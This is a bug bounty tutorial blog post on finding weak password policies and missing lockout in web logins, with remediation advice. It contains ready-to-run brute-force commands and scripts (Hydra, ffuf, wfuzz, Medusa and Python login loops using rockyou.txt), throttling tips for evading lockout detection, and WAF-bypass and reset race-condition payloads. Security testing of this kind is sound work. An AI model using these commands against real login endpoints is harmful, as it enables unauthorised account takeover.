Weak Password Policy — Bug Bounty Guide 2026

By Devashish

Published on:

Weak Password Policy1
🐛 Bug Bounty Series

Weak Password Policy —
Brute-Force, ATO & Full Account Takeover

A Weak Password Policy vulnerability exists when a web application or API fails to enforce minimum password complexity, lockout mechanisms, or rate limiting — letting attackers brute-force, credential-stuff, or simply register with trivially guessable passwords. One of the most impactful and under-reported authentication bugs in bug bounty programs.

🏆 OWASP A07:2021 🔴 High → Critical 🎯 Beginner–Intermediate 🔐 Auth Security 💰 High Bounty

🔍 What is Weak Password Policy?

A Weak Password Policy vulnerability is classified under OWASP A07:2021 — Identification and Authentication Failures. It occurs when an application fails to enforce server-side rules around password strength, uniqueness, and authentication resilience — allowing users (and attackers) to set or exploit trivially guessable credentials.

Weak Password Policy vulnerability diagram showing brute-force attack on login endpoint with no lockout and credential stuffing on API with weak passwords accepted

Weak Password Policy — No lockout + weak passwords accepted = Brute-Force ATO

💡 Core Concept

A Weak Password Policy is not just “password too short.” It’s the full absence of authentication hardening: no complexity enforcement, no account lockout, no rate limiting, no breach-password checks, and no secure reset token generation. Each missing control is a standalone bug bounty finding.

🔴 Critical — No lockout + brute-force, default admin creds, credential stuffing
🟠 High — Weak registration allowed, no complexity, short reset tokens
🔵 Medium — No re-use prevention, no breach-password check, no MFA

🎯 Attack Surfaces

Weak Password Policy vulnerabilities can appear across multiple endpoints. Always test each surface independently — especially the raw API, which often bypasses frontend validation entirely.

🔑 Registration & Auth
/register — weak password accepted
/login — no lockout after N failures
/api/auth/token — no rate limiting
/admin/login — default credentials
/api/v1/login — API bypass of UI rules
/oauth/token — weak client_secret
🔄 Reset & Change Flows
/forgot-password — weak reset tokens
/reset-password — accepts weak new pwd
/change-password — no current pwd check
/api/user/password — PATCH bypass
Mobile API — separate, often unprotected
GraphQL mutations — auth fields

📋 Quick Reference Table

FieldDetails
VulnerabilityWeak Password Policy
Also Known AsInsecure Password Requirements, Missing Complexity Controls, Lax Authentication Policy
OWASPA07:2021 – Identification and Authentication Failures | API2:2023 – Broken Authentication
CVSS Score7.5–9.8 (HIGH to CRITICAL depending on context)
SeverityCRITICAL (no lockout) | HIGH (weak registration)
DifficultyBeginner to Intermediate
ToolsBurp Suite, Hydra, ffuf, Medusa, Python requests, curl, wfuzz, OWASP ZAP
Key Endpoints/login, /register, /api/auth, /admin/login, /forgot-password, /change-password
ChainingATO → IDOR → Privilege Escalation → RCE via Admin File Upload
Real-WorldSolarWinds default ‘solarwinds123’, RockYou breach, LinkedIn MD5 hash dump
PracticePortSwigger Auth Labs, DVWA Brute Force, TryHackMe Auth Bypass

💣 Password Payload Reference

The following Weak Password Policy test payloads should be attempted against every authentication endpoint — always intercept the request in Burp Suite to bypass any client-side JavaScript validation before testing.

Password / PayloadCategoryWhat It TestsSeverity
aSingle charMinimum length enforcementCRITICAL
1Single digitNumeric-only short passwordCRITICAL
1233-char numericCommon short PIN acceptedCRITICAL
admin5-char dictionaryMost common admin passwordCRITICAL
password8-char dictionaryTop-1 most common password globallyCRITICAL
1234566-char numericTop-2 most common password globallyCRITICAL
pass15-char alphanumericWeak complexity bypassHIGH
qwertyKeyboard walkPattern-based password acceptedHIGH
[username]Username = passwordTests user=password scenarioCRITICAL
[blank/empty]Empty stringNull password acceptanceCRITICAL
letmeinDictionary wordClassic weak password acceptedHIGH
admin123Dict + numberDefault admin combinationCRITICAL
P@ssw0rdComplexity-compliantTests if only charset is checkedMEDIUM
[domain]123Org-specificTargeted org-name guessHIGH
Aa1!4-char complexShort but complex — tests min lengthHIGH

🛠️ Manual Testing — Step by Step

⚡ Before You Start

Always test on your own registered test account. Never trigger lockout on real user accounts during bug bounty testing. Obtain written permission before testing production systems.

Phase 1 — Reconnaissance

1
Map all authentication endpoints
Open DevTools (F12) → Network tab → perform login, register, reset actions → collect all auth request URLs and parameters
2
Check for API vs UI differences
If the app has a mobile app or REST API, test the API endpoint directly — it may have NO validation even if the web UI blocks weak passwords
3
Note response patterns
Record what a successful vs failed auth looks like: HTTP status code, response body, response time, headers (X-RateLimit-*, Retry-After)

Phase 2 — Registration Testing

1
Start Burp Suite → Intercept the registration POST request
Fill the signup form normally with a strong password, then intercept and change the password value to a before forwarding
2
Observe the server response
HTTP 200 or 201 = VULNERABLE — Weak Password Policy confirmed. HTTP 400/422 = server validation exists (check error message for bypass clues)
3
Repeat with full payload list
Send Repeater requests with: 1, 123, admin, password, 123456, empty string. Document each result.
HTTP — Burp Intercepted Request
# Intercepted registration POST — modify password to weak value:
POST /api/register HTTP/1.1
Host: target.com
Content-Type: application/json

{"email":"bugtest@test.com","password":"a"}

# 200 OK / 201 Created → VULNERABLE ✓
{"status":"success","message":"Account created"}

# 400 Bad Request → Validation exists
{"error":"Password must be at least 8 characters"}

Phase 3 — Lockout / Rate Limit Testing

Send 50 intentionally wrong-password login attempts against your own test account and observe the server behavior:

Bash — Lockout Test Loop
# Send 50 failed login attempts — use your OWN test account
for i in $(seq 1 50); do
  CODE=$(curl -s -o /dev/null -w '%{http_code}' \
    -X POST https://target.com/api/login \
    -H 'Content-Type: application/json' \
    -d '{"email":"mytest@test.com","password":"wrongpass"}')
  echo "Attempt $i: HTTP $CODE"
done

# All 401? → No lockout → VULNERABLE (CRITICAL)
# 429 at attempt N? → Rate limiting exists (note threshold)
# Check response headers for: X-RateLimit-*, Retry-After

Phase 4 — Forgot-Password Flow

1
Trigger a password reset for your test account
Receive the reset link via email. Inspect the reset token — note its length and format.
2
Evaluate token strength
Token under 32 hex characters, sequential, timestamp-based, or predictable = separate vulnerability. Log it.
3
Reset password to a weak value via the link
Intercept the reset POST request in Burp and set new_password=a. If accepted → Weak Password Policy also applies to reset flow.

🔧 Tools & Automation

🔥 Hydra
Fast network brute-forcer supporting HTTP POST login forms
hydra -l user@test.com -P rockyou.txt target.com http-post-form "/login:email=^USER^&password=^PASS^:Invalid"
🕵️ Burp Suite
Intercept, modify, and replay auth requests. Use Intruder for brute-force.
Proxy → Intercept → Send to Intruder → Sniper → Load wordlist → Attack
🐍 Python requests
Custom scripted brute-force with lockout detection logic
pip install requests && python3 brute_check.py
⚡ ffuf
Fuzzer — fast HTTP fuzzing for auth parameter testing
ffuf -w passwords.txt -X POST -d '{"password":"FUZZ"}' -u https://target.com/login -mc 200
🌊 wfuzz
Web application fuzzer with JSON body support
wfuzz -c -z file,rockyou.txt --data '{"password":"FUZZ"}' https://target.com/api/login
🔑 Medusa
Parallel, modular login brute-forcer for HTTP
medusa -h target.com -u admin -P rockyou.txt -M http -m DIR:/login

💻 Scripts & Code

Python — Weak Password Registration Checker

This script automatically tests whether a registration endpoint accepts common weak passwords. Use only on your own test accounts.

Python 3
import requests, json

TARGET  = 'https://target.com/api/register'
HEADERS = {'Content-Type': 'application/json'}

WEAK_PASSWORDS = [
    'a', '1', '123', 'admin', 'password',
    '123456', 'pass1', 'qwerty', 'letmein',
    'admin123', '', 'test'
]

for pwd in WEAK_PASSWORDS:
    payload = json.dumps({'email':'bugtest@test.com','password':pwd})
    r = requests.post(TARGET, headers=HEADERS, data=payload)
    status = '✓ VULNERABLE' if r.status_code in [200,201] else '✗ Blocked'
    print(f'[{r.status_code}] {status} | password={repr(pwd)}')

Python — Lockout Detector

Python 3
import requests, json, time

LOGIN_URL   = 'https://target.com/api/login'
TEST_EMAIL  = 'mytest@mytest.com'  # YOUR OWN account
MAX_ATTEMPTS = 50
locked = False

headers = {'Content-Type': 'application/json'}

for i in range(MAX_ATTEMPTS):
    payload = json.dumps({'email':TEST_EMAIL,'password':f'wrongpass{i}'})
    r = requests.post(LOGIN_URL, headers=headers, data=payload)
    if r.status_code == 200:
        print(f'[!] ATO at attempt {i+1}'); break
    elif r.status_code == 429:
        print(f'[+] Locked after {i+1} attempts — rate limit present')
        locked = True; break
    else:
        print(f'[{i+1}] HTTP {r.status_code}')
    time.sleep(0.2)

if not locked:
    print(f'[!] NO LOCKOUT after {MAX_ATTEMPTS} attempts — CRITICAL')

Bash — Hydra HTTP-POST Brute Force

Bash
#!/bin/bash
# Permission required! Use ONLY on your own test accounts.

TARGET='target.com'
LOGIN_PATH='/api/login'
USER='test@test.com'
WORDLIST='/usr/share/wordlists/rockyou.txt'

hydra -l "$USER" \
      -P "$WORDLIST" \
      "$TARGET" \
      http-post-form \
      "$LOGIN_PATH:{\"email\":\"^USER^\",\"password\":\"^PASS^\"}:Invalid credentials" \
      -V -t 4 -w 3

# -t 4 = 4 threads (low = avoids lockout detection)
# -w 3 = 3 second wait between tasks

🔷 Burp Suite Guide

Step 1 — Intercept the Registration Request

1
Open Burp Suite → Proxy → Intercept ON
Configure browser to use proxy 127.0.0.1:8080. Navigate to the registration page.
2
Fill form with strong password → Submit
Burp intercepts the POST request before it reaches the server. Modify password value to a.
3
Forward modified request
If response is 200/201 — vulnerable. If 400 — validation exists, note error message for further analysis.

Step 2 — Brute Force with Intruder

Burp Intruder — Config
# 1. Intercept login POST → Right-click → Send to Intruder
# 2. Positions tab → Clear § → highlight password value → Add §

{"email":"test@test.com","password":"§FUZZ§"}

# 3. Payloads tab → Simple list → Load rockyou.txt (top 1000)
# 4. Options → Thread = 1, Throttle = 500ms (avoid lockout)
# 5. Start Attack → Sort by Status → 200 = ATO achieved

# Cluster Bomb (username + password):
# Position 1: §email§    → emails.txt
# Position 2: §password§ → passwords.txt

Step 3 — Lockout Check in Repeater

Burp Repeater — Response Analysis
# Send login → Ctrl+R to Repeater
# Resend same wrong-password request 50 times
# Compare all responses:

# All 401? → NO LOCKOUT → CRITICAL vulnerability
HTTP/1.1 401 Unauthorized  (attempt 1)
HTTP/1.1 401 Unauthorized  (attempt 50)

# Rate limit present (good):
HTTP/1.1 429 Too Many Requests
Retry-After: 300

# Headers to check (often absent = vulnerable):
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1734567890

⚡ Advanced Techniques

Technique 1 — WAF Bypass via Unicode/Encoding

HTTP / JSON
# WAF blocks 'password' keyword — try Unicode normalization:
{"password":"\u0070assword"}   # p = \u0070

# Null byte injection — server validates before null, not after:
{"password":"a\u0000randompadding999"}

# Parameter pollution:
POST /login
password=StrongPass&password=a   # some servers use last value

# Content-type switch (bypass JSON validator):
Content-Type: application/x-www-form-urlencoded
email=test@test.com&password=a

Technique 2 — Long Password Truncation Bug

Python 3
# Register with 200-char password
long_password = 'A' * 200
register(email='test@test.com', password=long_password)

# Attempt login with only first 72 chars (truncation point)
short_password = 'A' * 72
result = login(email='test@test.com', password=short_password)

# If login succeeds → SILENT TRUNCATION → HIGH vulnerability
# CVE-2013-1691 (Mozilla) was exactly this bug

Technique 3 — Race Condition on Password Reset

Burp Turbo Intruder
# Use Turbo Intruder to send 20 simultaneous reset requests
# Goal: reuse reset token before server atomically invalidates it

POST /api/reset-password HTTP/1.1
Host: target.com

{"token":"abc123","new_password":"a"}

# If first request accepts weak password AND token stays valid
# for subsequent requests → Race Condition + Weak Policy chain

Technique 4 — Password Complexity Illusion

Some servers check only for the presence of character classes, not minimum distribution. These passwords satisfy most regex policies but are weak:

PasswordWhy It’s Still WeakFinding
Aa1!Only 4 chars — all classes presentHIGH
Password1!Dictionary word with substitutionsHIGH
P@ssw0rdClassic leet-speak, in every wordlistHIGH
Abcdefg1!Sequential letters + one symbolHIGH
Summer2024!Season + year pattern, highly guessableHIGH

🛡️ Framework Secure Fix Reference

Framework❌ Vulnerable Code✅ Secure Fix
Node.jsif(password.length < 1) { allow() }const score = require(‘zxcvbn’)(pwd).score; if(score < 3) return 400;
DjangoPASSWORD_VALIDATORS = [] // disabledAdd MinimumLengthValidator, CommonPasswordValidator, NumericPasswordValidator to AUTH_PASSWORD_VALIDATORS
Laravel‘password’ => ‘required’‘password’ => [‘required’,’min:12′,’mixed_case’,’numbers’,’symbols’,’confirmed’]
Spring Boot@Size(min=1) String password@Size(min=12,max=128) @Pattern(regexp=”(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&]).+”) String password
Ruby on Railsvalidates :password, length: {minimum: 1}validates :password, length:{minimum:12}, format:{with:/(?=.*[A-Z])(?=.*\d)(?=.*[!@#$])/}
Goif len(password) == 0 { allow }if len(pwd)<12 || !hasUpper(pwd) || !hasDigit(pwd) || !hasSpecial(pwd) { return ErrWeakPassword }
PHPif(!empty($pwd)) { accept(); }Use password_hash(bcrypt) + enforce strlen≥12, upper, digit, special with preg_match

🔗 Real Bug Chains

A Weak Password Policy is rarely the end of the chain — it’s usually the entry point to much higher severity findings:

🔴
Brute-Force → Full ATO → Admin RCE
/api/login → No lockout → brute-force rockyou.txt → admin account compromised → Admin panel → File Upload → RCE
CRITICAL
🔴
Default Creds → Admin Panel → Full DB Dump
admin:admin on /admin/login → Admin dashboard → database export function → Full user data exfiltration
CRITICAL
🟠
Weak Registration → Credential Stuffing → Bulk ATO
/register allows ‘password123’ → user reuses across services → breach list matches → bulk ATO on 1000+ accounts
CRITICAL
🟠
ATO + IDOR → Access Other Users’ Data
Brute-force ATO on victim account → IDOR on /api/user/{id} → full access to all user profiles and PII
HIGH
🟠
Weak Reset Token + Weak New Password
/forgot-password → short/predictable token → enumerate token → reset to new_password=a → account compromised silently
CRITICAL

✅ Key Takeaways

🔑 Core Concept

A Weak Password Policy vulnerability is not a single missing check — it is the complete absence of authentication hardening. Each missing control (no length check, no lockout, no rate limit, no breach check) is independently reportable in most bug bounty programs.

  • Always test the raw API endpoint, not just the web UI — JS validation is trivially bypassed via Burp Suite interception.
  • Accepting a 1-character password on registration alone is a valid HIGH severity bug bounty finding.
  • No account lockout after 5–10 failed login attempts = brute-force vulnerability = CRITICAL severity.
  • Test ALL auth surfaces: /login, /register, /change-password, /forgot-password, /api/auth, mobile API.
  • Default credentials like admin:admin on admin panels must be reported as CRITICAL immediately.
  • Password reset token shorter than 32 hex characters or sequential/timestamp-based is a standalone vulnerability.
  • Silent password truncation above N characters is both a security bug and an authentication logic flaw.
  • Always document exact HTTP request/response pairs — screenshot + Burp export for the report.
  • Combine Weak Password Policy with IDOR or Privilege Escalation for CRITICAL chain reports worth higher bounties.
  • Mention HaveIBeenPwned API integration absence explicitly in your secure recommendations section.
💰 Real Bounty Example

A researcher on HackerOne found a fintech platform’s /api/v1/login had no rate limiting and accepted passwords as short as 1 character. They demonstrated credential stuffing at 500 requests/minute with zero lockout, achieving ATO on 3 self-registered test accounts. Bounty: $3,500 (HIGH). Lack of MFA enforcement elevated the overall report severity.

📝 Reporting Tip

Title: “Weak Password Policy + No Account Lockout Enables Brute-Force Account Takeover”
Include: 1) Request/response showing 1-char password accepted. 2) 50 failed attempts with no lockout response. 3) PoC Hydra/Python command with output. 4) CVSS score calculation. 5) Remediation: min 12 chars, lockout after 5 attempts, CAPTCHA, Argon2 hashing, HaveIBeenPwned integration.

🔗 Learn More

Deepen your understanding of Weak Password Policy and authentication security with these authoritative resources:

📚 More from devtechnoblog.in

📤 Found this useful? Share it with your hacker community

Related Posts

BOPLA – Broken Object Property Level Authorization

Insecure Logout — Bug Bounty Guide 2026

Authentication Bypass – Bug Bounty Guide 2026

Sensitive Information Disclosure –  Bug Bounty Guide 2026

Devashish

I’m Devashish, a Bug Bounty Researcher and Cyber Security Analyst sharing practical insights — from beginner payloads to advanced exploitation chains — explained in a simple, clear way. Beyond cybersecurity, I’m passionate about technology, gadgets, and topics like health, cricket, politics, and people.

Leave a comment